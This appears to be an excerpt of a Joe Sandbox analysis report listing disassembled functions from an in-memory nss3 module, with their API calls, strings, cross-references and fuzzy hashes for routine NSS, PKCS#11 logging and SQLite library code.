Opcode Fuzzy Hash: 3e8869e6b66935835dcd18c0a833fea8f9cb1ec5728df47b12a81d89c195b820
Instruction Fuzzy Hash: E721C8B1B007019BEB107F7C9C4565B76BCEF85299F144438E99AC2B50E731E51887B2

Function 6CBEAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBEAF47

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

FreeLibrary.KERNEL32(?), ref: 6CBEAF6D
free.MOZGLUE(?), ref: 6CBEAFA4
free.MOZGLUE(?), ref: 6CBEAFAA
PR_ExitMonitor.NSS3 ref: 6CBEAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CBEAFF5
PR_ExitMonitor.NSS3 ref: 6CBEB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CBEB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBEB03C

Strings

Unloaded library %s, xrefs: 6CBEB023
%s decr => %d, xrefs: 6CBEAFF0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction ID: d8af5ee22416b14889ea4dbf46706c90eeb4ca784bf584eadba1f727654a0d26
Opcode Fuzzy Hash: df52c81fcce6428deecb7236500a79b0389906d84ea1d4faec65000c373e039c
Instruction Fuzzy Hash: E93127B5B04150ABEF01AF64DC40A15BBBCEF09B9CB594235E905D7A40F332E818CBE2

Function 6CC36C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

Strings

extern:, xrefs: 6CC36C7E
dbm, xrefs: 6CC36CA4
sql:, xrefs: 6CC36C52
dbm:, xrefs: 6CC36C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6CC36C91
rdb:, xrefs: 6CC36C69

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction ID: 9e7ff88f3c6c6fa4c3b6dcb54daf1a44a3a84913130ff751b37f9c783ea5d606
Opcode Fuzzy Hash: 029dbe369f79cf16f00119418e4d40d5af2b6fcdd3cd5ab3237ba3cb5a782bbe
Instruction Fuzzy Hash: 1101DFE1B02B2173F6003B797D5AF26251CABC218DF141431FF0CE2A81FB96E51C41A5

Function 6CC44E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC078F8), ref: 6CC44E6D

Part of subcall function 6CBE09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CBE06A2,00000000,?), ref: 6CBE09F8
Part of subcall function 6CBE09E0: malloc.MOZGLUE(0000001F), ref: 6CBE0A18
Part of subcall function 6CBE09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBE0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC078F8), ref: 6CC44ED9

Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703,?,00000000,00000000), ref: 6CC35942
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC37703), ref: 6CC35954
Part of subcall function 6CC35920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC3596A
Part of subcall function 6CC35920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC35984
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC35999
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359BA
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC359D3
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC359F5
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC35A0A
Part of subcall function 6CC35920: free.MOZGLUE(00000000), ref: 6CC35A2E
Part of subcall function 6CC35920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC35A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EB3

Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4484C
Part of subcall function 6CC44820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC44EB8,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4486D
Part of subcall function 6CC44820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC44EB8,?), ref: 6CC44884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44EC0

Part of subcall function 6CC44470: TlsGetValue.KERNEL32(00000000,?,6CC07296,00000000), ref: 6CC44487
Part of subcall function 6CC44470: EnterCriticalSection.KERNEL32(?,?,?,6CC07296,00000000), ref: 6CC444A0
Part of subcall function 6CC44470: PR_Unlock.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC44F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD1DCB0,00000000), ref: 6CC44FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CC4501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC078F8), ref: 6CC4506B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction ID: c733f44677e4183ad98e05a005b5508b890d691b1c38bcd438b144963512b4c9
Opcode Fuzzy Hash: 8862593bde9c06f10d3cbb7e1ec9f558b58ef227b9a96edf2ddc42f258f9142e
Instruction Fuzzy Hash: 255115B5D002059BEB01AF24EC01AAB76B9FF1531DF24C539ED0A86A51FB31D529CBD2

Function 6CBEACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
malloc.MOZGLUE(00000001), ref: 6CBEACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
TlsGetValue.KERNEL32 ref: 6CBEAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
PR_Unlock.NSS3 ref: 6CBEADC0
free.MOZGLUE(00000000), ref: 6CBEAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBEAE58
free.MOZGLUE(00000000), ref: 6CBEAE69
free.MOZGLUE(?), ref: 6CBEAE78
PR_Unlock.NSS3 ref: 6CBEAE8C
free.MOZGLUE(?), ref: 6CBEAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBEAEC7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction ID: 7a1278f829f4f52fef57effa191959c784de39ac5a9a303d52d288c439142acb
Opcode Fuzzy Hash: 6605a372a7edafaec37737adf099f0c84945cc23fab90dfab507faf9023de06d
Instruction Fuzzy Hash: 5E51D5B1E001658BEF00EF58DC416AE7B7CFB4AB89F548525DA15A3B50D331A909CFE2

Function 6CC2ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CC2ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC2AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC2AE29

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC2AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC2AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC2AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC2AEA0

Strings

hKey = 0x%x, xrefs: 6CC2AE62, 6CC2AE72
C_MessageSignInit, xrefs: 6CC2ADE1
(CK_INVALID_HANDLE), xrefs: 6CC2AE1F, 6CC2AE80
hSession = 0x%x, xrefs: 6CC2AE01, 6CC2AE11

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 03f27a736a35bb00152ac4970662b8347af6953d179d8d2193cc6db61c8b48cc
Instruction ID: 02abd9845b57ca897e967798fd9c88ce62955848c478a6700a8bd4c82f6aaa67
Opcode Fuzzy Hash: 03f27a736a35bb00152ac4970662b8347af6953d179d8d2193cc6db61c8b48cc
Instruction Fuzzy Hash: 2E31DC71601104AFEB00DF58EC88FAF3779AB8671DF444426E5095BB51EB38981DCBA1

Function 6CCC4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CCC4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4CFD
sqlite3_value_text16.NSS3(?), ref: 6CCC4D44

Strings

unknown error, xrefs: 6CCC4D56
another row available, xrefs: 6CCC4D20
bad parameter or other API misuse, xrefs: 6CCC4D05
invalid, xrefs: 6CCC4CF1
out of memory, xrefs: 6CCC4C78, 6CCC4C9E
abort due to ROLLBACK, xrefs: 6CCC4D27, 6CCC4D33
no more rows available, xrefs: 6CCC4D2E
API call with %s database connection pointer, xrefs: 6CCC4CF6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction ID: 13ab4e3d5a7590591327eb9eb08855ee23a6ea9575e8b67ff4367ab76be91386
Opcode Fuzzy Hash: a66f12f44b5772375f0c612ef75a8f36fae0f02d35c13b6cf93ff1d775d75ec9
Instruction Fuzzy Hash: 8A314572F08851A7E704DB28D8007B5B366BB82318F258165D5244BF34F725AC5283D3

Function 6CC22DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC22DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22E33

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22E81

Strings

pPin = 0x%p, xrefs: 6CC22E63
(CK_INVALID_HANDLE), xrefs: 6CC22E2C
hSession = 0x%x, xrefs: 6CC22E0E, 6CC22E1E
ulPinLen = %d, xrefs: 6CC22E7C
C_InitPIN, xrefs: 6CC22DF1

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction ID: fb2c343fa256f50c9a1612b2623efa5a7f764257b125801581751e62878840f8
Opcode Fuzzy Hash: 6d8295ab8db4b0c83cd6c2d5915ecdf900140f2a81d35f788e782b1f2bd82b59
Instruction Fuzzy Hash: B931C671A01154AFEB10DF58EC4CF5B7779EB4636DF444026EA08A7B61EB34980CDAE1

Function 6CC26EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CC26F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC26F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC26F53

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC26F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC26F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC26FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CC26F4C
pPart = 0x%p, xrefs: 6CC26F83
hSession = 0x%x, xrefs: 6CC26F2E, 6CC26F3E
C_DigestUpdate, xrefs: 6CC26F11
ulPartLen = %d, xrefs: 6CC26F9C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 41d25b67bec5d83417aa2ec8b2b6bb61e57a830ece4b62aed5baa852903d8980
Instruction ID: fbebd596f4b36d253d3754fbb2657463cdb681c272556a36ed6664c00dcadc3e
Opcode Fuzzy Hash: 41d25b67bec5d83417aa2ec8b2b6bb61e57a830ece4b62aed5baa852903d8980
Instruction Fuzzy Hash: 0431C674601550AFFF10DF58EC48F5A77B9AB4235DF484026E90897B21EB34A84CCBE1

Function 6CBF4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CBF48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CBF48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CBF48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CBF4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBF4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CBF496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBF4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18DAC,?), ref: 6CBF49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF4ACB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: f7397adcf134876e8d26dc9f12e8a4900ebf0a95d9ea81eae799ca058c8430fc
Instruction ID: fad59117cda388d51624e0fbaa75450a78283da0bfadac9d4cb587a7d7567ab4
Opcode Fuzzy Hash: f7397adcf134876e8d26dc9f12e8a4900ebf0a95d9ea81eae799ca058c8430fc
Instruction Fuzzy Hash: DA51E271A007819FEB108F69DE4179B76E4EF4130CF108129E939AAB91E771D41E8F67

Function 6CCC2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCC2D9F

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

sqlite3_exec.NSS3(?,?,6CCC2F70,?,?), ref: 6CCC2DF9
sqlite3_free.NSS3(00000000), ref: 6CCC2E2C
sqlite3_free.NSS3(?), ref: 6CCC2E3A
sqlite3_free.NSS3(?), ref: 6CCC2E52
sqlite3_mprintf.NSS3(6CD2AAF9,?), ref: 6CCC2E62
sqlite3_free.NSS3(?), ref: 6CCC2E70
sqlite3_free.NSS3(?), ref: 6CCC2E89
sqlite3_free.NSS3(?), ref: 6CCC2EBB
sqlite3_free.NSS3(?), ref: 6CCC2ECB
sqlite3_free.NSS3(00000000), ref: 6CCC2F3E
sqlite3_free.NSS3(?), ref: 6CCC2F4C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction ID: fbaa9087890369aaea411d29844296e2757891435706c1c18806e68a7c509b2a
Opcode Fuzzy Hash: 6cca46bdb9165ff369d851f1e2c6582b72c3e19b6e1ba1b055dd819dc320ef9b
Instruction Fuzzy Hash: 74616CB5F012058BEB10CFA8D894B9EB7B1FF58348F145068ED55A7B01E735E849CBA2

Function 6CC12C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC13F23,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12C93

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23,?), ref: 6CC12CDA
